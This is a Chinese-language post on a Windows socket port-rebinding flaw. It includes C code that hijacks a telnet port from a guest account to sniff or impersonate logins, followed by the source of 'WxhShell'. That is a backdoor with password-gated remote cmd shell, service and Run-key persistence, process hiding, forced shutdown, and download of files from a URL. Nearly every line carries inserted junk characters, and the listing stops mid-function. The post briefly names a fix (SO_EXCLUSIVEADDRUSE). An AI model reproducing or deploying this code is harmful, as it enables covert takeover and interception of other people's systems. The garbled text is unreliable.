在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
Vx @|O% s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
g(#f:" ApjOj/ saddr.sin_family = AF_INET;
zq%D/H6J, frBX{L saddr.sin_addr.s_addr = htonl(INADDR_ANY);
!Kv@\4 A19;1#$= bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
A4ISNM7R[ J/3_C6UZ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
'TAUE{{ bMU(?hb 这意味着什么?意味着可以进行如下的攻击:
z~A]9|/61v 7==f\%, 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
3"{.37Q ~xoF6CF 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
77Bgl4P pFJB'=c 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
E_zIg+(+ 5^j45'%I 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
xzx$TUL hI( SOsKs 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
M'!U<Y
- }mZwd_cK 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
<r3J0)r} JCW\ *R 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
kHqzt g %e@#uxm #include
pT$f8xJ #include
r
6Q Q #include
rLX4jT^
#include
YTw#JOO DWORD WINAPI ClientThread(LPVOID lpParam);
B^^r\L9 int main()
K5"#~\D {
)*:`':_a WORD wVersionRequested;
Dwl3Cj DWORD ret;
n-TQ*&h]3S WSADATA wsaData;
;.bm6(; BOOL val;
;m2<eS`o' SOCKADDR_IN saddr;
rSYi<ku SOCKADDR_IN scaddr;
BT@r!>Nl int err;
#:d
=)Qj0 SOCKET s;
r$wxk 4%Rz SOCKET sc;
y7^{yS[, int caddsize;
kQ HANDLE mt;
Ldn8 DWORD tid;
CXCpqcC wVersionRequested = MAKEWORD( 2, 2 );
Dnc<sd; err = WSAStartup( wVersionRequested, &wsaData );
xGI, Lk+ if ( err != 0 ) {
?@n/v
F printf("error!WSAStartup failed!\n");
`N5|Ho*C return -1;
h`MF#617 }
_wdG|{px saddr.sin_family = AF_INET;
3su78e t} "gD-8C3 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
%r+vSGt;5 |$7vI&m saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
CX m+)a-L saddr.sin_port = htons(23);
m5Tr-w$QY if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
"5A&_E }3
{
Uw4>v: printf("error!socket failed!\n");
qn,O40/] return -1;
f$'2}'.!$ }
S'HnBn / val = TRUE;
ko^\HSXl //SO_REUSEADDR选项就是可以实现端口重绑定的
46k?b|Q if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
!*`-iQo& {
aC<KN:TN6 printf("error!setsockopt failed!\n");
i>_u_)- return -1;
8KH\`5< }
$\k0Nup} //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
=rR~ ` //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
DvM5 k //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
98.>e KeNL0_Pw if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
oc^Br~ Th {
Dk5Zh+^ ret=GetLastError();
%e@HZ"V printf("error!bind failed!\n");
|!F5.%PY return -1;
A?G^\I~v }
!yhh8p3 listen(s,2);
&ZTr while(1)
A 8 vbQ {
6&bIXy caddsize = sizeof(scaddr);
i%6; //接受连接请求
2[gFkyqe sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
ykrr2x if(sc!=INVALID_SOCKET)
ujJI
1I {
`
}3qhar mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
G"T',~ if(mt==NULL)
Z;h<6[( {
}y%oT
P&
printf("Thread Creat Failed!\n");
!p1qJ [ break;
uw},`4` }
3z]+uv+2J }
R=Tqj,6 CloseHandle(mt);
iZZ (4 }
-WQ^gcO=7 closesocket(s);
LOTP*Syjf WSACleanup();
<40rYr$/J return 0;
+D1 d=4 }
7n90f2"m DWORD WINAPI ClientThread(LPVOID lpParam)
c"n ?'e {
fBQ?|~:n SOCKET ss = (SOCKET)lpParam;
7u[j/l, SOCKET sc;
Gy[O)PEEh unsigned char buf[4096];
3/#:~a9Q SOCKADDR_IN saddr;
cJgBI(S5 long num;
,TRTRb; DWORD val;
$#|gLVOQ DWORD ret;
<94_@3 //如果是隐藏端口应用的话,可以在此处加一些判断
(5Sivw*mP //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
IG3,XW saddr.sin_family = AF_INET;
$x6$*K(F saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
%AN/>\#p saddr.sin_port = htons(23);
r&Ca"dI if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
]qB:PtX {
*GUAO){' printf("error!socket failed!\n");
Yhp]x return -1;
bZx!0>h }
M _LXg% val = 100;
*H[Iq!@ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
+ht|N[P {
P00f6 ret = GetLastError();
$v8l0JA * return -1;
H\1qI7N C }
KQ[!o!% if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
=H<0o?8?c {
v=95_l ret = GetLastError();
MZ+e}|!4, return -1;
N0>0z]4;q }
[Ei1~n)o if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
DKVT(#@T {
Ys8SDlMo printf("error!socket connect failed!\n");
bJ_cId8+ closesocket(sc);
V]S1X^ closesocket(ss);
OMk5{-8B return -1;
0[<~?`:) }
5b/ojr7 while(1)
Il`tNr {
U=8@@yE //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
i*eAdIi //如果是嗅探内容的话,可以再此处进行内容分析和记录
TPE:e)GO //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
s
s
3t num = recv(ss,buf,4096,0);
Rte+(- iL if(num>0)
{J5JYdK send(sc,buf,num,0);
_p?s9& else if(num==0)
FecktD= break;
5(
_6+'0 num = recv(sc,buf,4096,0);
umLb+GbI4 if(num>0)
u>pBB@ send(ss,buf,num,0);
xug)aE else if(num==0)
iRi{$.pVJ break;
!6}O.Nu }
L_em') closesocket(ss);
h O
emt closesocket(sc);
?GBkqQ return 0 ;
Z2"?&pKV }
hO[3 Z^X US{3pkr;I] +%\oO/4Fs ==========================================================
8j1ekv UhmTr[& 下边附上一个代码,,WXhSHELL
q8ImrC.'^ AnZclqtb ==========================================================
B}d.#G+_$x &L^CCi #include "stdafx.h"
h8jD}9^ I?Q+9Rmm`J #include <stdio.h>
fa.0I~ #include <string.h>
zhB ">j8j #include <windows.h>
V^Rkt%JY #include <winsock2.h>
tZ2e!<C #include <winsvc.h>
D@X+{ #include <urlmon.h>
/XS&d%y /(t sb #pragma comment (lib, "Ws2_32.lib")
IF*&%pB #pragma comment (lib, "urlmon.lib")
_y .]3JNm 2i|B=D( #define MAX_USER 100 // 最大客户端连接数
9N[EZhW #define BUF_SOCK 200 // sock buffer
xv7"WFb #define KEY_BUFF 255 // 输入 buffer
9j*0D(" 8RwX= #define REBOOT 0 // 重启
+\# Fd #define SHUTDOWN 1 // 关机
BKU'`5` ~YCuO0t #define DEF_PORT 5000 // 监听端口
>6Lm9&} Fl>]&x*~ #define REG_LEN 16 // 注册表键长度
7m5Co>NkuK #define SVC_LEN 80 // NT服务名长度
dRvin[R8 nws"RcP+Z // 从dll定义API
;HOPABWz) typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
#ZiT- typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
dPjhq(8 zU typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
<@bA?FY typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
Hoz5 6y 2k#t
.- // wxhshell配置信息
[FQ\I-GNC struct WSCFG {
!NKmx=I] int ws_port; // 监听端口
oN(-rWdhZ char ws_passstr[REG_LEN]; // 口令
5,b]V)4 int ws_autoins; // 安装标记, 1=yes 0=no
#G3N(wV3 char ws_regname[REG_LEN]; // 注册表键名
6Gn4asoA char ws_svcname[REG_LEN]; // 服务名
> 7`&0? char ws_svcdisp[SVC_LEN]; // 服务显示名
f"&Xr!b.h char ws_svcdesc[SVC_LEN]; // 服务描述信息
/&ygi H{^ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
;mAhY int ws_downexe; // 下载执行标记, 1=yes 0=no
}1+%_|Y-E char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
DlE_W+F char ws_filenam[SVC_LEN]; // 下载后保存的文件名
e<gx~N9l' U=Bn>F}y\ };
>qT 'z$ klWYuStZ // default Wxhshell configuration
+yt6(7V* struct WSCFG wscfg={DEF_PORT,
6xgv:, "xuhuanlingzhe",
BQ05`nkF 1,
^&c$[~W "Wxhshell",
hv)7H)|l~] "Wxhshell",
Sav`%0q?7a "WxhShell Service",
POU}/e!Ua "Wrsky Windows CmdShell Service",
e&X>F"z2 "Please Input Your Password: ",
lj &>cScC 1,
Zzd/K^gg "
http://www.wrsky.com/wxhshell.exe",
+lO'wa7|3 "Wxhshell.exe"
igDyp0t };
A~-#@Z B94
&elu // 消息定义模块
>HkhAJhW char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
=;c_} VY char *msg_ws_prompt="\n\r? for help\n\r#>";
B!aK char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
YRB%:D@u char *msg_ws_ext="\n\rExit.";
Fm j= char *msg_ws_end="\n\rQuit.";
g{pQ4jKF char *msg_ws_boot="\n\rReboot...";
6*1$8G`$8, char *msg_ws_poff="\n\rShutdown...";
_py2kjA6 char *msg_ws_down="\n\rSave to ";
0kCQ0xB[a5 J+<p+(^*v char *msg_ws_err="\n\rErr!";
T% CxvZ char *msg_ws_ok="\n\rOK!";
[5 pCL0<c@ W7G9Kx1Y char ExeFile[MAX_PATH];
nx4P^PC int nUser = 0;
tGqCt9;< HANDLE handles[MAX_USER];
{^RG%
&S int OsIsNt;
w4MwD?i]R @eQld\h' SERVICE_STATUS serviceStatus;
VTh$a_P> SERVICE_STATUS_HANDLE hServiceStatusHandle;
5A_4\YpDR `n-vjjG%# // 函数声明
?=|kC*$/G int Install(void);
F>Y9o-o2 int Uninstall(void);
/B HepD} int DownloadFile(char *sURL, SOCKET wsh);
Di??Q_$ak int Boot(int flag);
f?0s &Xo void HideProc(void);
k7 bl'zic int GetOsVer(void);
lg/sMF>z\f int Wxhshell(SOCKET wsl);
q=Xg*PM, void TalkWithClient(void *cs);
A1JzW)B int CmdShell(SOCKET sock);
_dmL}t- int StartFromService(void);
sj9D int StartWxhshell(LPSTR lpCmdLine);
Da,&+fZI! x%XT2+ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
LC'F<MpM VOID WINAPI NTServiceHandler( DWORD fdwControl );
|"}4*V_ * q6[}ydV // 数据结构和表定义
P79R~m` SERVICE_TABLE_ENTRY DispatchTable[] =
V;[p438o {
M9V-$ _) {wscfg.ws_svcname, NTServiceMain},
yU`:IMz {NULL, NULL}
~'BUrX\ };
[n:PNB cCng5Nq,c // 自我安装
/(%Ig,<"JC int Install(void)
$j`<SxJ> {
/e 5\ 9 char svExeFile[MAX_PATH];
anx&Xj|=.F HKEY key;
Q#rt<S1zW strcpy(svExeFile,ExeFile);
IrO+5 w M]ap: // 如果是win9x系统,修改注册表设为自启动
u:4["ViC if(!OsIsNt) {
tyXl}$)y if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
dF2@q@\.+ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
t.z$j RegCloseKey(key);
_bQL[eXd if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
tBl#o ^ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
/VtlG+dLl RegCloseKey(key);
w4OW4J# return 0;
UA0tFeH }
YmCbxYa7 }
4_<
nQ9K }
4[l^0 else {
<$C<Ba?;? !1-&Y'+ // 如果是NT以上系统,安装为系统服务
V
[4n'LcE SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
FU]4oKx if (schSCManager!=0)
IgA.%}II} {
}vsO^4Sjc SC_HANDLE schService = CreateService
)H+h;U (
s-5wbi.C schSCManager,
RO(iHR3cA wscfg.ws_svcname,
:1BM=_WwI wscfg.ws_svcdisp,
Zi3T~:0p: SERVICE_ALL_ACCESS,
Sf5]=F-w SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
Hd*Fc=>"Y SERVICE_AUTO_START,
|B|@GF?: SERVICE_ERROR_NORMAL,
E(/ sXji! svExeFile,
|J?:91
NULL,
T:n<db,Px NULL,
Gy^FrF NULL,
zW)gC9_|m- NULL,
K!7q!%Ju NULL
G:hU{S7 );
{tmKCG if (schService!=0)
3*2I$e!Jt {
h+xA?[c= CloseServiceHandle(schService);
4a 4N
C CloseServiceHandle(schSCManager);
B<C&ay strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
/.2u.G strcat(svExeFile,wscfg.ws_svcname);
e7's)C>/' if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
eRVY.E< RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
|=,83,a RegCloseKey(key);
#jgqkMOd,j return 0;
4[(?L{ }
Lv3XYZgW~ }
:B+Rg cqi CloseServiceHandle(schSCManager);
To^#
0 }
/THNP 8. }
6ZTaQPtm Zr9 d&|$ return 1;
vh{9'vd3el }
%2zas(b9j (qj,GmcS // 自我卸载
9[,s4sxH int Uninstall(void)
l-MxLcz {
bu&;-Ynb HKEY key;
#hZQ>zcF 4D GY6PS if(!OsIsNt) {
Y@ObwKcG if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Kc-4W6?$ RegDeleteValue(key,wscfg.ws_regname);
v#Sj|47 RegCloseKey(key);
'Y ,1OK if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
fIH# RegDeleteValue(key,wscfg.ws_regname);
kLq(!Gs RegCloseKey(key);
\P5>{2i return 0;
Y}K!`~n1S }
}!=gP.Zu^ }
{Wa~}1`Kl }
psu OJ- else {
d<_NB]V&F s`r-v/3l SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
Ia'x]#~ if (schSCManager!=0)
u8^Y,LN {
7}A5u,.,ht SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
=hPG_4# if (schService!=0)
5^b i
7J {
)7k&`?Mh if(DeleteService(schService)!=0) {
U @)k3^ CloseServiceHandle(schService);
z'T=]-
D CloseServiceHandle(schSCManager);
keaj3#O return 0;
ia_Z\q }
TbMdQbj} CloseServiceHandle(schService);
!5?
m }
=MCNCV/< CloseServiceHandle(schSCManager);
B( 8mH }
</|)"OD9 }
YsZ{1W z'_&|-m return 1;
.#sz|0 }
,%[LwmET Oy:QkV9 // 从指定url下载文件
TR~|c|B int DownloadFile(char *sURL, SOCKET wsh)
u0s'6= {
m$,cH>E HRESULT hr;
WN$R[N char seps[]= "/";
RZW$!tyI= char *token;
%3rTQ:X char *file;
5GaoJ v char myURL[MAX_PATH];
oPCrD.s char myFILE[MAX_PATH];
F OeVRq:# "Wo.8 strcpy(myURL,sURL);
oHOW5 token=strtok(myURL,seps);
Q!YF!WoBX while(token!=NULL)
IF5sqv {
'/ihL^^@L file=token;
I/Sv"X6E token=strtok(NULL,seps);
KUF$h Er }
';&0~ [R[ |O57N'/ GetCurrentDirectory(MAX_PATH,myFILE);
U@#?T strcat(myFILE, "\\");
>_-!zjO8u strcat(myFILE, file);
Ir!2^:]! send(wsh,myFILE,strlen(myFILE),0);
] xb]8] send(wsh,"...",3,0);
<njIXa{ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
`0Yt1Z& if(hr==S_OK)
C%0<1mp return 0;
sS-W~u|C else
/%62X{=>; return 1;
a#^_"GX *e%Dg{_ }
$4DFgvy$ Vu_&~z7h // 系统电源模块
Z"-ntx# int Boot(int flag)
4pLQ"&>}80 {
f( ]R/'o HANDLE hToken;
mPckf TOKEN_PRIVILEGES tkp;
(L`l+t1 ;0;3BH A if(OsIsNt) {
anK[P'Y OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
(~=Qufy LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
'CS^2Z tkp.PrivilegeCount = 1;
mr@_%U tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
m~##q}LZ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
v>rqOI if(flag==REBOOT) {
*4-r`k|@>/ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
Ok*VQKyDLH return 0;
B{;11u }
mgo'MW\ else {
hK:#+hg, if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
CFD*g\g<* return 0;
L& I`
# }
4\&H?:c. }
?UxG/]", else {
BO8%:/37[4 if(flag==REBOOT) {
cC b>zI if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
;>inT7?3| return 0;
9@(O\ xr }
'&RZ3@}+ else {
B1x'5S;Bq if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
kSLSxfR return 0;
Pbc`LN/s| }
L.SDM z }
9+]ZH.(YE ;n3uV`\ return 1;
sXSj OUI }
[Xs}FJ WH{cJ7wCL // win9x进程隐藏模块
R'vdk< void HideProc(void)
"B3iX@C {
eA~J4k_ bq c;.4$ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
/Lq;w'|I if ( hKernel != NULL )
x%b]ea {
lf?Z{^ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
TjKzBAX ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
[P.@1mV FreeLibrary(hKernel);
(nkUeQQN }
_pY c80
}1 return;
zzulVj* }
EZ:I$X $
1ak I // 获取操作系统版本
zb@L)% int GetOsVer(void)
RH<@c^ S {
j)6@q@P/ OSVERSIONINFO winfo;
/uy&2l winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
3m-edpH GetVersionEx(&winfo);
]+}:VaeA if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
VFe-#"0ZO return 1;
d[~au=b else
^JYF1 return 0;
#nU@hOfg }
Wwn5LlJ^ 0z#l0-NdQ // 客户端句柄模块
(1j(*
?2 int Wxhshell(SOCKET wsl)
@/_XS4 {
hXV4$Dai SOCKET wsh;
/V#MLPA struct sockaddr_in client;
5A0KV7N5 DWORD myID;
nG&w0de<> D]t~S1ycG7 while(nUser<MAX_USER)
t:?<0yfp& {
B|$\/xO int nSize=sizeof(client);
H @3$1h&YS wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
!1ie:z>s if(wsh==INVALID_SOCKET) return 1;
d+gk q\ yrxx+z|wR handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
,U|u-.~ZU if(handles[nUser]==0)
Z&~k]R0y closesocket(wsh);
=2ATqb"$w else
kcg)_]~6 nUser++;
Wh#_9); }
y>)mSl@1y WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
9`nP(~ *X-~TC0
[ return 0;
i~v@ }
[8V(N2
TE*> a5C| // 关闭 socket
-~rr<D\ void CloseIt(SOCKET wsh)
Y\Fuj) {
!Szgph"ul closesocket(wsh);
Vp- n(Z nUser--;
6E*Zj1KX ExitThread(0);
Q%gY.n{= }
~2, wI<Nz Og&0Z)% // 客户端请求句柄
SdEb[ void TalkWithClient(void *cs)
Nlf&]^4(0 {
ql%]$`IV6 h=p-0 Mx . SOCKET wsh=(SOCKET)cs;
^)eessZ char pwd[SVC_LEN];
N7j]yvE char cmd[KEY_BUFF];
K8 Kz char chr[1];
2i4Dal int i,j;
K'{ wncumQ MJ*oeI!.= while (nUser < MAX_USER) {
n@yd{Rc 9M-NItFos if(wscfg.ws_passstr) {
NO0[`jy( if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
>$k4@eg! //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Oy?iAQ+ //ZeroMemory(pwd,KEY_BUFF);
LyCV_6;D i=0;
R'1vjDuv while(i<SVC_LEN) {
-\sKSY5{R ?j^?@%f0
// 设置超时
`*uuB; fd_set FdRead;
I?:+~q}lZr struct timeval TimeOut;
hg86#jq% FD_ZERO(&FdRead);
|Ls&~'ik FD_SET(wsh,&FdRead);
8WLh]MD` TimeOut.tv_sec=8;
^<5^9]x TimeOut.tv_usec=0;
'3Lx!pMhN int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
%n V@'3EI if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
r* sDh6 Uk if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
c,[qjr#\> pwd
=chr[0]; ?tal/uC
if(chr[0]==0xd || chr[0]==0xa) { ]i_):@
pwd=0; 6|(7G64{
break; _UbR8
}
onS{
i++; `5~o=g
} 8Vg`;_ -
sN[@mAoH
// 如果是非法用户,关闭 socket >P]I&S-.
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); H$($l<G9C
} ={&TeMMA
XN 0RT>@
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :ayO+fr#
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "78cl*sD
0,i+
while(1) { 7UEy L
}N
@v:ILby4-
ZeroMemory(cmd,KEY_BUFF); 5kL# V
0UAr}H.:
// 自动支持客户端 telnet标准 =4%WOI
j=0; })=c:h&
while(j<KEY_BUFF) { #ui%=ja[:~
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ",,qFM!
cmd[j]=chr[0]; 9#=IrlV4
if(chr[0]==0xa || chr[0]==0xd) { TJGKQyG$L
cmd[j]=0; 14)kKWG
break; m`4j|5
} zj$Z%|@$
j++; _ER
cmP
} TY{?4
d T-O8
// 下载文件 4dD@lG~
if(strstr(cmd,"http://")) { "9Fv!*<-W
send(wsh,msg_ws_down,strlen(msg_ws_down),0); E4fvYV_ra
if(DownloadFile(cmd,wsh)) ,?skJ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); (G b{ckzs
else ]r{#268
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j2&OYg
}
fVe-esAw
else { iF2IR{h
@X / =.
switch(cmd[0]) { -wHGi
7}HA_@[
// 帮助 #cg@Z
case '?': { Mh@ylp+q
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); C3`.-/{D"
break; &[\arwe)
} !P3tTL!*L
// 安装 i3\oy`GJ
case 'i': { :zk.^q
if(Install()) \V7x3*nA
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Dl!'_u
else `1}yB
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m`w6wz
break; sg~/RSJ3
} o0v m?CL#
// 卸载 _3?xIT
case 'r': { :zTj"P>"I
if(Uninstall()) HH7gT
send(wsh,msg_ws_err,strlen(msg_ws_err),0); cyn]>1ZM
else $7ME a"a
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);
(Y?yGq/
break; S %%qn
} +\@\,{Ujy
// 显示 wxhshell 所在路径 :=KGQ3V~eK
case 'p': { ry=[:\Z~
char svExeFile[MAX_PATH]; }T(q "Vf~
strcpy(svExeFile,"\n\r"); T%b^|="@
strcat(svExeFile,ExeFile); )FiU1E
send(wsh,svExeFile,strlen(svExeFile),0); .oOt(K+
break; R(#;yn
} |6G5
?|
// 重启 _J#Hq 'K
case 'b': { aQ3vG08L>
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ]-]@=qYu
if(Boot(REBOOT)) Jrrk$0H^~
send(wsh,msg_ws_err,strlen(msg_ws_err),0); JC-yiORVr
else { NQ{Z
closesocket(wsh); gnK!"!nL
ExitThread(0); IBHG1<3
} T</gWW
break; cnO4NUDv
} HCZ%DBU96
// 关机 G&B}jj
case 'd': { X%qR6mMfT7
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); x{w ?X.Nt
if(Boot(SHUTDOWN)) ph. :~n>z
send(wsh,msg_ws_err,strlen(msg_ws_err),0); $BN+SD!
else { 8U$UI
closesocket(wsh); jWjK -q@Y
ExitThread(0); }|,\?7,
} KPK!'4,cu
break; 3om7LqcRo
} Z%d4V<fn
// 获取shell ]nGA1 S{
case 's': { "s^@PzQpN
CmdShell(wsh); ;^SgV
closesocket(wsh); 3W00,f^9
ExitThread(0); KV(W|~+ rM
break; u+I3VK_)
} c_=zd6 b$S
// 退出 rW .0_*
case 'x': { 6:X\vw
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); T7X2$ '
CloseIt(wsh); ~H."{
break; 5q*~h4=r7
} N>iCb:_
T;
// 离开 D($UbT-v
case 'q': { *m/u 3.\
send(wsh,msg_ws_end,strlen(msg_ws_end),0); PhdL@Mr
closesocket(wsh); BAed [
WSACleanup(); `{[C4]Ew/
exit(1); a,\u|T:g
break; ;Q 6e&Ips/
} 3
+9|7=d
} ;0{*V5A
} KPrxw }P
G-> @
// 提示信息 $fG/gYvI\
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8hV:bz"
} k !r z8S"
} JB}h}nb
WWs>@lCK
return; LB0=V0|
} 2)]*re)
[^P2Kn
// shell模块句柄 Unk+@$E&
int CmdShell(SOCKET sock) &?pAt30K:
{ bm|8Jbsb&
STARTUPINFO si; jt*@,+e|
ZeroMemory(&si,sizeof(si)); Jx7^|A
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 'S>Jps@
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; =l{KYv
PROCESS_INFORMATION ProcessInfo; @1X1E 2:
char cmdline[]="cmd"; [#H8Mb+7
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); )8PL7P84
return 0; S}yb~uc,
} g*9>z)
AX?6Q4Gq1
// 自身启动模式 oDK\v8w-
int StartFromService(void) 7qp|Msf},
{ )f|6=x4
typedef struct < ,n4|z)
{ WVFy Zp B
DWORD ExitStatus; }7^*%$
DWORD PebBaseAddress; JE!Xf}nEi
DWORD AffinityMask; ~<-h# B
DWORD BasePriority; SJe;T
